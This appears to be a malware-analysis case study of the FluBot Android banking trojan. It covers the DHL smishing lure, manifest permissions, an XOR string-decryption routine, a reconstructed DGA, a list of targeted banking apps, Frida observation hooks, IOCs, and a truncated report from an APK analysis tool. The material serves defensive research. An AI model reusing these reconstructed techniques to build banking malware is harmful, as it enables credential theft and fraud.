Case Study 1: FluBot — The SMS Banking Trojan
> Note on code samples: Code snippets throughout these case studies are illustrative reconstructions based on public malware research, decompilation reports, and where available, leaked source code. They are not verbatim malware source — they represent documented techniques in readable form for analytical understanding.
Background
FluBot (also tracked as Cabassous) was a sophisticated Android banking trojan that emerged in late 2020 and operated through mid-2022 before a Europol-coordinated takedown in May 2022. It infected devices across Europe, Australia, and Japan, primarily targeting banking credentials.
FluBot is technically notable for three reasons:
-
Self-propagating smishing: after infecting a device, it harvested the victim’s contacts and sent malicious SMS messages to them using the victim’s own phone
-
Domain Generation Algorithm (DGA): its C2 used algorithmically generated domains, making sinkholing difficult
-
Overlay attacks via Accessibility: it rendered fake banking app UI over real apps to steal credentials
Distribution
FluBot arrived via SMS — typically disguised as a package delivery notification from DHL, FedEx, Correos, or similar logistics providers:
DHL: Your package is waiting
for
delivery.
Track it here: http://dhl-tracking-DE[.]xyz/track?
id
=XXXXX
The link led to a fake carrier website that prompted the victim to download an APK (bypassing Play Store):
"To track your package, please install the DHL app"
[
Download APK
]
Static Analysis of FluBot
Manifest key observations:
<!-- FluBot manifest indicators -->
<
uses-permission
android:name
=
"android.permission.SEND_SMS"
/>
<
uses-permission
android:name
=
"android.permission.READ_SMS"
/>
<
uses-permission
android:name
=
"android.permission.RECEIVE_SMS"
/>
<
uses-permission
android:name
=
"android.permission.READ_CONTACTS"
/>
<
uses-permission
android:name
=
"android.permission.SYSTEM_ALERT_WINDOW"
/>
<
uses-permission
android:name
=
"android.permission.RECEIVE_BOOT_COMPLETED"
/>
<
uses-permission
android:name
=
"android.permission.REQUEST_INSTALL_PACKAGES"
/>
<!-- The critical component: Accessibility Service -->
<
service
android:name
=
".service.MainService"
android:permission
=
"android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported
=
"true"
>
<
intent-filter
>
<
action
android:name
=
"android.accessibilityservice.AccessibilityService"
/>
</
intent-filter
>
<
meta-data
android:name
=
"android.accessibilityservice"
android:resource
=
"@xml/accessibility_service_config"
/>
</
service
>
<!-- Boot persistence -->
<
receiver
android:name
=
".receiver.BootReceiver"
android:exported
=
"false"
>
<
intent-filter
>
<
action
android:name
=
"android.intent.action.BOOT_COMPLETED"
/>
<
action
android:name
=
"android.intent.action.MY_PACKAGE_REPLACED"
/>
</
intent-filter
>
</
receiver
>
Obfuscation technique:
FluBot used string encryption — all sensitive strings (C2 URLs, command names, targeted app package names) were stored as encrypted byte arrays and decrypted at runtime:
// Decompiled FluBot string decryption (simplified)
public
static
String
decrypt
(
byte
[] encryptedData
)
{
byte
[] key =
new
byte
[]{
0x4B
,
0x3A
,
0x1F
,
0x7E
,
/* ... */
};
byte
[] result =
new
byte
[encryptedData.length];
for
(
int
i =
0
; i < encryptedData.length; i++) {
result[i] = (
byte
)(encryptedData[i] ^ key[i % key.length]);
}
return
new
String(result, StandardCharsets.UTF_8);
}
// Usage throughout codebase:
// String c2host = decrypt(new byte[]{0x21, 0x5B, 0x4A, ...});
To decrypt all strings statically, extract the XOR key and apply it to all encrypted byte arrays found in the bytecode.
Domain Generation Algorithm:
FluBot’s DGA generated C2 domains using a seed that changed weekly:
# FluBot DGA reconstruction (illustrative — based on published research)
import hashlib
def
flubot_dga
(
seed
:
int
,
tld
: str =
".com"
) ->
list
:
domains = []
for
i in
range
(
30
):
# Generate 30 domains per cycle
hash_input = f
"{seed}{i}"
.
encode
()
h = hashlib.
md5
(hash_input).
hexdigest
()
# Use first 12 chars as domain label
domain = h[:
12
] + tld
domains.
append
(domain)
return
domains
# Example output (seed varies by week):
# ['a4f91b2d3c7e.com', 'b82c5e1a0d4f.com', ...]
This meant that blocking any individual C2 domain was ineffective — the malware would try the next generated domain. Defenders needed to implement the DGA themselves and sinkhole all generated domains.
Targeted overlay list:
FluBot maintained a list of package names for which it would display credential-stealing overlays:
// FluBot targeted banking apps (partial, from decompiled samples)
private
static
final
String[] TARGETED_APPS = {
"com.commerzbank.phototan"
,
"de.comdirect.android"
,
"de.postbank.finanzassistent"
,
"com.ing.diba.mbbr2"
,
"es.bancosantander.apps"
,
"com.bbva.bbvacontigo"
,
"it.bnl.apps.banking"
,
"com.unicredit.mobile.android"
,
"au.com.nab.mobile"
,
"org.westpac.bank"
,
// + cryptocurrency wallets, PayPal, Google Pay
};
When any of these apps moved to the foreground, FluBot used Accessibility permissions to detect it and immediately display a pixel-perfect fake login overlay.
Dynamic Analysis of FluBot
Accessibility Service behavior:
// Frida hook to observe Accessibility events (what FluBot watches)
Java
.
perform
(
function
(
) {
var
AccessibilityService
=
Java
.
use
(
"android.accessibilityservice.AccessibilityService"
);
var
onEventOrig =
AccessibilityService
.
onAccessibilityEvent
.
overload
(
"android.view.accessibility.AccessibilityEvent"
);
onEventOrig.
implementation
=
function
(
event
) {
var
eventType = event.
getEventType
();
var
packageName = event.
getPackageName
();
var
className = event.
getClassName
();
if
(packageName !==
null
) {
console
.
log
(
"[Accessibility Event]"
);
console
.
log
(
" Type : "
+ eventType);
console
.
log
(
" Package : "
+ packageName);
console
.
log
(
" Class : "
+ className);
}
onEventOrig.
call
(
this
, event);
};
});
SMS harvesting and sending:
FluBot used Android’s SmsManager to send smishing messages to the victim’s contacts:
// Hook SMS sending
Java
.
perform
(
function
(
) {
var
SmsManager
=
Java
.
use
(
"android.telephony.SmsManager"
);
var
sendSmsOrig =
SmsManager
.
sendTextMessage
.
overload
(
"java.lang.String"
,
"java.lang.String"
,
"java.lang.String"
,
"android.app.PendingIntent"
,
"android.app.PendingIntent"
);
sendSmsOrig.
implementation
=
function
(
dest, src, text, sent, delivered
) {
console
.
log
(
"[SMS SEND INTERCEPTED]"
);
console
.
log
(
" Destination : "
+ dest);
console
.
log
(
" Text : "
+ text);
// Block the send in analysis environment:
// return; // uncomment to prevent actual SMS
return
sendSmsOrig.
call
(
this
, dest, src, text, sent, delivered);
};
});
FluBot IOCs
NETWORK INDICATORS:
C2 communication: HTTPS POST
to
DGA
-
generated domains (RSA
-
encrypted body)
Port:
443
(HTTPS
primary
),
80
(HTTP fallback)
User
-
Agent: [device
-
specific
,
not
spoofed]
URI
pattern
: varies
by
sample;
/
gate.php
is
a generic PHP C2 panel
pattern
more characteristic
of
Cerberus
-
family panels — do
not
rely
on
this alone
for
FluBot attribution
DGA TLDs observed: .com, .net, .org, .biz
HOST INDICATORS:
Package name
pattern
: FluBot used campaign
-
specific
package names,
typically impersonating delivery apps (DHL, FedEx, Correos)
or
browser
/
utility apps. Do
not
rely
on
static
package names
for
detection
-
check
VirusTotal
or
MalwareBazaar
for
sample
-
specific
package names.
Accessibility Service: present
with
broad event monitoring
Permissions: READ_SMS
+
SEND_SMS
+
READ_CONTACTS
=
smishing capability
BOOT_COMPLETED receiver: persistence across reboots
Fake icon: impersonates DHL, FedEx, Chrome,
or
Play Store
BEHAVIORAL INDICATORS:
Requests Accessibility Service
within
30
seconds
of
install
Requests Device Administrator shortly after
Initiates outbound HTTP POST immediately after Accessibility granted
Attempts SMS send
to
all
contacts
Displays
overlay
when
targeted banking apps
open
Full report with analyzer.py:

0:41:06 (base) andrey@andrey-lab android_malware_analysis ±|main ✗|→ python analyzer.py analyze /home/andrey/git_project/android_malware_analysis/samples/fluebot.apk
█████╗ ██████╗ ██╗ ██╗ █████╗ ███╗ ██╗ █████╗ ██╗ ██╗ ██╗███████╗██╗███████╗
██╔══██╗██╔══██╗██║ ██╔╝ ██╔══██╗████╗ ██║██╔══██╗██║ ╚██╗ ██╔╝██╔════╝██║██╔════╝
███████║██████╔╝█████╔╝ ███████║██╔██╗ ██║███████║██║ ╚████╔╝ ███████╗██║███████╗
██╔══██║██╔═══╝ ██╔═██╗ ██╔══██║██║╚██╗██║██╔══██║██║ ╚██╔╝ ╚════██║██║╚════██║
██║ ██║██║ ██║ ██╗ ██║ ██║██║ ╚████║██║ ██║███████╗██║ ███████║██║███████║
╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝╚══════╝╚═╝ ╚══════╝╚═╝╚══════╝
Android APK Analysis Tool | AI-Powered | v2.0
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Phase 1: Static Analysis
╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── File Information ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ │
│ File /home/andrey/git_project/android_malware_analysis/samples/fluebot.apk │
│ Size 4135.8 KB (4,235,044 bytes) │
│ MD5 0f1ed21fff27291645ee8350bc813228 │
│ SHA256 352e9dabede5a893b1a7af33bd23fb57e84b7606ee0ccdff1fb08657dd52db0e │
│ Package com.weico.international │
│ App Name DHL │
│ Version 1.5 (1) │
│ SDK min=24 target=28 │
│ │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
Phase 2: Threat Indicator Scoring
╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Threat Assessment ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ │
│ Risk Level: 🔴 HIGH (79/100) │
│ │
│ [███████████████████████████████░░░░░░░░░] │
│ │
│ Permissions: 100/100 │
│ Behavior: 100/100 │
│ Network: 29/100 │
│ Obfuscation: 10/100 │
│ │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
Threat Indicators
╭────────────┬──────────────────┬────────────────────────────────────┬──────────────────────────────────────────╮
│ Severity │ Category │ Indicator │ Evidence │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ CRITICAL │ API Behavior │ Suspicious API: Device Admin │ Landroid/app/admin/DevicePolicyManager;… │
│ │ │ │
Landroid
/
app
/
admin
/
DevicePolicyManager
;… │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│
HIGH
│
Permissions
│
Dangerous
Permission
:
READ_SMS
│
android
.permission
.READ_SMS
│
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│
HIGH
│
Permissions
│
Dangerous
Permission
:
RECEIVE_SMS
│
android
.permission
.RECEIVE_SMS
│
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│
HIGH
│
Permissions
│
Dangerous
Permission
:
SEND_SMS
│
android
.permission
.SEND_SMS
│
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│
HIGH
│
API
Behavior
│
Suspicious
API
:
Dynamic
Code
│
Ljava
/
lang
/
ClassLoader
;
-
>
loadClass
(in │
│ │ │ Loading │ Lbutterknif │
│ │ │ │ Ljava/lang/ClassLoader;->loadClass (in │
│ │ │ │ Lcom/adobe/ │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ API Behavior │ Suspicious
API
: Accessibility │ Landroid/accessibilityservice/Accessibi… │
│ │ │ Service │ Landroid/accessibilityservice/Accessibi… │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ API Behavior │ Suspicious
API
: Window Overlay │ Landroid/view/WindowManager;->addView │
│ │ │ │ (in Lcom/nor │
│ │ │ │ Landroid/view/WindowManager;->addView │
│ │ │ │ (in Lcom/nor │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ API Behavior │ Suspicious
API
: Native Execution │ Ljava/lang/ProcessBuilder;-><init> (in │
│ │ │ │ Lde/blinkt/ │
│ │ │ │ Ljava/lang/ProcessBuilder;->start (in │
│ │ │ │ Lde/blinkt/o │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ Network │ Hardcoded IP Addresses │
192.0
.
0.0
│
│ │ │ │
8.8
.
4.4
│
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ Overlay/Keylog │ Overlay/Keylogger Strings │ overlay │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ Permissions │ Dangerous
Permission
: │ android.permission.READ_CONTACTS │
│ │ │ READ_CONTACTS │ │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ Permissions │ Dangerous
Permission
: WAKE_LOCK │ android.permission.WAKE_LOCK │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ Permissions │ Dangerous
Permission
: │ android.permission.FOREGROUND_SERVICE │
│ │ │ FOREGROUND_SERVICE │ │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ Permissions │ Dangerous
Permission
: │ android.permission.READ_PHONE_STATE │
│ │ │ READ_PHONE_STATE │ │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ API Behavior │ Suspicious
API
: Reflection │ Ljava/lang/Class;->forName (in │
│ │ │ │ Lcom/adjust/sdk/Ins │
│ │ │ │ Ljava/lang/reflect/Method;->getName (in │
│ │ │ │ Lcom/adjus │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ API Behavior │ Suspicious
API
: Location Tracking │ Landroid/location/LocationManager;->get… │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ Evasion │ Emulator Detection │ qemu │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ LOW │ API Behavior │ Suspicious
API
: Cryptography │ Ljavax/crypto/spec/SecretKeySpec;-><ini… │
│ │ │ │ (in Lcom │
│ │ │ │ Ljavax/crypto/Cipher;->getInstance (in │
│ │ │ │ Lcom/intels │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ INFO │ API Behavior │ Suspicious
API
: Network │ Ljava/net/URL;->openConnection (in │
│ │ │ Communication │ Lcom/adjust/sdk │
│ │ │ │ Ljava/net/URL;->openConnection (in │
│ │ │ │ Lcom/adobe/mark │
╰────────────┴──────────────────┴────────────────────────────────────┴──────────────────────────────────────────╯
Permissions (
15
total)
Permission Risk
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
android.permission.CALL_PHONE MEDIUM
android.permission.FOREGROUND_SERVICE MEDIUM
android.permission.READ_CONTACTS MEDIUM
android.permission.READ_PHONE_STATE MEDIUM
android.permission.READ_SMS HIGH
android.permission.RECEIVE_SMS HIGH
android.permission.SEND_SMS HIGH
android.permission.WAKE_LOCK MEDIUM
android.permission.WRITE_SMS MEDIUM
android.permission.ACCESS_NETWORK_STATE INFO
android.permission.INTERNET INFO
android.permission.KILL_BACKGROUND_PROCESSES INFO
android.permission.QUERY_ALL_PACKAGES INFO
android.permission.REQUEST_DELETE_PACKAGES INFO
android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS INFO
Network IOCs
Type Value
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
IP
192.0
.
0.0
IP
8.8
.
4.4
IP
8.8
.
8.8
Domain z.moatads.com
Domain cn-****.log.aliyuncs.com
Domain image.cnamedomain.com
Domain github.com
Domain img.
Domain www.w3.org
Domain xml.org
Domain %s
Domain %sadrevenue.%s
Domain %sapp.%s
Domain %sattr.%s
Domain %sconversions.%s
Domain %sgcdsdk.%s
Domain %simpression.%s
Domain %sinapps.%s
URL
https
:
//z.moatads.com/
URL
http
:
//cn-****.log.aliyuncs.com
URL
http
:
//image.cnamedomain.com
URL
https
:
//github.com/adjust/android_sdk#can-i-trigger-an-event-at-application-laun
URL
http
:
//img.
URL
http
:
//www.w3.org/2000/svg
URL
http
:
//www.w3.org/TR/SVG11/feature#
URL
http
:
//xml.org/sax/properties/lexical-handler
URL
https
:
//%s/%s
URL
https
:
//%s/v3/%s/end
Email nms_reports
@nortonlifelock
.com
Semantic Component Analysis (
2
findings)
Severity Component Capability MITRE Name
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
HIGH string Webinject/Overlay Terms T1417 inject
HIGH string Root/Superuser Access T1626 root
Rule-based family
inference
: Unknown (
confidence
:
0%
)
Phase
2
c
: VirusTotal Lookup
╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── VirusTotal Report ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ │
│ Detection
30
/
76
(
30
malicious,
0
suspicious,
37
clean) │
│ Threat Label trojan.bankbot/bian │
│ Families bankbot, bian, flubot │
│ File Type Android │
│ Common Name
352
E9DABEDE5A893B1A7AF33BD23FB57E84B7606EE0CCDFF1FB08657DD52DB0E.apk │
│ First Seen
2021
-
05
-
31
│
│ Last Analyzed
2024
-
11
-
29
│
│ Submissions
7
submissions /
7
unique sources │
│ Tags [malware] [nxdomain] [reflection] [crypto] [android] [runtime-modules] [apk] │
│ VT Link
https
:
//www.virustotal.com/gui/file/352e9dabede5a893b1a7af33bd23fb57e84b7606ee0ccdff1fb08657dd52db0e │
│ │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Submitted As ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│
352
E9DABEDE5A893B1A7AF33BD23FB57E84B7606EE0CCDFF1FB08657DD52DB0E.apk | HEUR-Trojan-Banker.AndroidOS.Bian.f-
352
e9dabede5a893b1a7af33bd23fb57e84b7606ee0ccdff1fb08657dd52db0e.apk |
352
e9dabede5a893b1a7af33bd23fb57e84b7606ee0ccdff1fb08657dd52db0e.apk | unknown | DHL398.apk │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
AV Engine Detections —
30
malicious /
0
suspicious /
76
total
╭──────────────────────┬──────────────────────────────────────────────┬──────────────╮
│ Engine │ Detection Name │ Verdict │
├──────────────────────┼──────────────────────────────────────────────┼──────────────┤
│ DrWeb │ Android.BankBot.
9305
│ MALICIOUS │
├──────────────────────┼──────────────────────────────────────────────┼──────────────┤
│ ESET-NOD32 │ a variant of Android/TrojanDropper.Agent.ICZ │ MALICIOUS │
├──────────────────────┼──────────────────────────────────────────────┼──────────────┤
│ F-Secure │ Malware.ANDROID/Hqwar.FJNE.Gen │ MALICIOUS │
├──────────────────────┼──────────────────────────────────────────────┼──────────────┤
│ Fortinet │ Android/Agent.IMA!tr │ MALICIOUS │
├──────────────────────┼──────────────────────────────────────────────┼──────────────┤
│ Kaspersky │
HEUR
:Trojan-Banker.AndroidOS.Bian.f │ MALICIOUS │
├──────────────────────┼──────────────────────────────────────────────┼──────────────┤
│ McAfee │ Artemis!
0
F1ED21FFF27 │ MALICIOUS │
├──────────────────────┼──────────────────────────────────────────────┼──────────────┤
│ Microsoft │
TrojanDropper
:AndroidOS/FluBot.A!MTB │ MALICIOUS │
├──────────────────────┼──────────────────────────────────────────────┼──────────────┤
│ Sophos │ Andr/Banker-HAB │ MALICIOUS │
├──────────────────────┼──────────────────────────────────────────────┼──────────────┤
│ Symantec │ Trojan.Gen.
2
│ MALICIOUS │
├──────────────────────┼──────────────────────────────────────────────┼──────────────┤
│ AhnLab-V3 │ Dropper/Android.FakeApp.
1019269
│ MALICIOUS │
├──────────────────────┼──────────────────────────────────────────────┼──────────────┤
│ Alibaba │
TrojanDropper
:Android/FluBot.
8
fda345e │ MALICIOUS │
├──────────────────────┼──────────────────────────────────────────────┼──────────────┤
│ Avast-Mobile │
Android
:Evo-gen [Trj] │ MALICIOUS │
├──────────────────────┼──────────────────────────────────────────────┼──────────────┤
│ Avira │ ANDROID/Hqwar.FJNE.Gen │ MALICIOUS │
├──────────────────────┼──────────────────────────────────────────────┼──────────────┤
│ BitDefenderFalx │ Android.Trojan.Banker.WT │ MALICIOUS │
├──────────────────────┼──────────────────────────────────────────────┼──────────────┤
│ CTX │ apk.trojan.banker │ MALICIOUS │
├──────────────────────┼──────────────────────────────────────────────┼──────────────┤
│ Cynet │ Malicious (
score
:
99
) │ MALICIOUS │
├──────────────────────┼──────────────────────────────────────────────┼──────────────┤
│ Ikarus │ Trojan-Banker.AndroidOS.Flubot │ MALICIOUS │
├──────────────────────┼──────────────────────────────────────────────┼──────────────┤
│ K7GW │ Trojan (
0057
d4031 ) │ MALICIOUS │
├──────────────────────┼──────────────────────────────────────────────┼──────────────┤
│ Lionic │ Trojan.AndroidOS.BankBot.C!c │ MALICIOUS │
├──────────────────────┼──────────────────────────────────────────────┼──────────────┤
│ NANO-Antivirus │ Trojan.Android.BankBot.ivxmkz │ MALICIOUS │
╰──────────────────────┴──────────────────────────────────────────────┴──────────────╯
Sandbox Verdicts
Sandbox Verdict Malware Names
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Dr.Web vxCube MALICIOUS
Phase
3
: YARA Scanning
YARA
:
3
rule
(s) matched
╭───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│
Rule
: Dropper_DexClassLoader │
│
Desc
: Dynamic DEX loading - dropper/loader behavior │
│
Category
: Dropper │
│
MITRE
: T1544 │
│
Matched
: DexClassLoader, http, https │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│
Rule
: NotificationStealer_OTP │
│
Desc
: Notification listener stealing OTP codes │
│
Category
: Banking Trojan │
│
MITRE
: T1412 │
│
Matched
: getActiveNotifications, otp, OTP │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│
Rule
: SMSFraud_Joker │
│
Desc
: Joker/Bread subscription fraud - WebView enrollment + DEX dropper │
│
Category
: SMS Fraud │
│
MITRE
: T1582 │
│
Matched
: DexClassLoader, WebView, loadUrl │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
Phase
4
: AI Analysis (Claude/claude-opus-
4
-
6
)
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── AI Analysis Results ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
╭───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│
Classification
: Banking Trojan |
Family
: Bian (BianLian) |
Confidence
: High │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Executive Summary ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ This sample is a BianLian banking trojan disguised as a DHL shipping notification app. It steals SMS-based one-time passwords (OTPs), performs overlay/webinject attacks against banking applications,
and
acts as a dropper to load additional malicious payloads at runtime. The
30
/
76
VirusTotal detection rate with │
│ consistent Bian/BankBot/FluBot classification across major AV engines confirms this as a well-known financially-motivated threat targeting mobile banking users. │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Technical Analysis ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ The APK presents itself as
"DHL"
(a classic smishing lure) under the package name com.weico.international, which impersonates the legitimate Weico social media client — a deliberate choice to evade casual inspection. The version
1.5
targeting SDK
28
(Android
9
) with minSDK
24
(Android
7
) indicates it targets a │
│ broad swath of devices while leveraging modern APIs. The certificate is a generic self-signed Android debug certificate (CN=Android, O=Android), which is a hallmark of malware — legitimate apps use unique developer signing keys. │
│ │
│ The permission set is a textbook banking trojan
configuration
: READ_SMS + RECEIVE_SMS + SEND_SMS form the SMS interception triad for OTP theft, READ_CONTACTS enables contact list harvesting for smishing propagation (the FluBot/Bian hallmark), READ_PHONE_STATE provides device fingerprinting via IMEI,
and
│
│ FOREGROUND_SERVICE + WAKE_LOCK ensure persistent background operation. The YARA match for NotificationStealer_OTP confirms a NotificationListenerService-based OTP interception capability, which supplements SMS interception for apps that have migrated to push-based
2
FA. │
│ │
│ The dropper capability is confirmed by the Dropper_DexClassLoader YARA match
and
the presence of ClassLoader.loadClass calls. The SMSFraud_Joker YARA match indicates WebView-based subscription fraud capabilities — BianLian variants are known to bundle multiple monetization modules. The semantic finding of │
│
'inject'
strings directly maps to webinject/overlay attack templates used to phish banking credentials. The
'root'
string reference combined with the AppsFlyer vzw.os.rooted check indicates root detection logic, likely used to either escalate privileges on rooted devices
or
alter behavior to avoid security │
│ researcher environments. │
│ │
│ All component names (activities, services, receivers) are hex-obfuscated (e.g., p2e0599a8, p494ee8e0), which is characteristic of the BianLian packer/builder. Despite heavy component obfuscation, the obfuscation score is
only
2
, suggesting the bulk of the code is in legitimately-named library packages (Adjust │
│ SDK, Adobe Marketing, MoEngage, AppsFlyer, Norton SDK, TunnelBear SDK, OpenVPN) that serve as decoy/camouflage. The inclusion of Norton ransomware detection classes
and
TunnelBear/SurfEasy VPN code is highly suspicious — these are likely stolen/bundled legitimate SDKs to inflate the APK
and
confuse analysis. │
│ │
│ The C2 infrastructure is
not
statically embedded in plaintext, which is expected for BianLian. The format strings
https
:
//%s/%s and https://%s/v3/%s/end indicate parameterized C2 URL construction fetched dynamically or decrypted at runtime using the SecretKeySpec-based cryptographic operations detected. The │
│ nxdomain tag from VirusTotal suggests previously-active C2 domains have been sinkholed. │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Primary Capabilities ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ │
│ ► SMS interception (READ_SMS, RECEIVE_SMS) for OTP theft │
│ ► SMS sending for smishing propagation │
│ ► Notification listener for push-based OTP interception │
│ ► Overlay/webinject attacks against banking applications │
│ ► Dynamic DEX loading (dropper functionality) │
│ ► Contact list harvesting for worm-like SMS propagation │
│ ► Device fingerprinting (IMEI, phone number, SIM state) │
│ ► Encrypted C2 communication │
│ ► Root detection/environment awareness │
│ ► WebView-based subscription fraud (Joker-like module) │
│ │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
ID Technique Tactic Relevance
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
T1660 Phishing Initial Access DHL-themed smishing campaign delivering malicious APK via SM
T1417.
002
Input
Capture
: GUI Input Collection Webinject/overlay attacks confirmed by semantic
'inject'
str
Capture
T1636.
004
Protected User
Data
: SMS Collection READ_SMS + RECEIVE_SMS + SEND_SMS permissions for OTP interc
Messages
T1636.
003
Protected User
Data
: Contact Collection READ_CONTACTS permission for harvesting contacts for smishin
List
T1412 Capture SMS Messages Collection YARA NotificationStealer_OTP match + SMS permission triad co
T1544 Ingress Tool Transfer Command
and
Control DexClassLoader dynamic DEX loading confirmed by YARA Dropper
T1626 Abuse Elevation Control Privilege Escalation Root detection strings (vzw.os.rooted) indicate root-aware b
Mechanism
T1582 SMS Control Impact YARA SMSFraud_Joker match indicates WebView-based subscripti
T1406 Obfuscated Files
or
Defense Evasion Hex-obfuscated component names, encrypted C2 config via Secr
Information
T1418 Software Discovery Discovery Device fingerprinting via READ_PHONE_STATE for IMEI collecti
╭───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── IOCs for Threat Hunting ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ •
sha256
:
352
e9dabede5a893b1a7af33bd23fb57e84b7606ee0ccdff1fb08657dd52db0e │
│ •
md5
:
0
f1ed21fff27291645ee8350bc813228 │
│ •
package
:com.weico.international │
│ •
app_name
:DHL │
│ •
cert_sha256
:a40da80a59d170caa950cf15c18c454d47a39b26989d8b640ecd745ba71bf5dc │
│ •
domain
:z.moatads.com │
│ •
domain
:cn-****.log.aliyuncs.com │
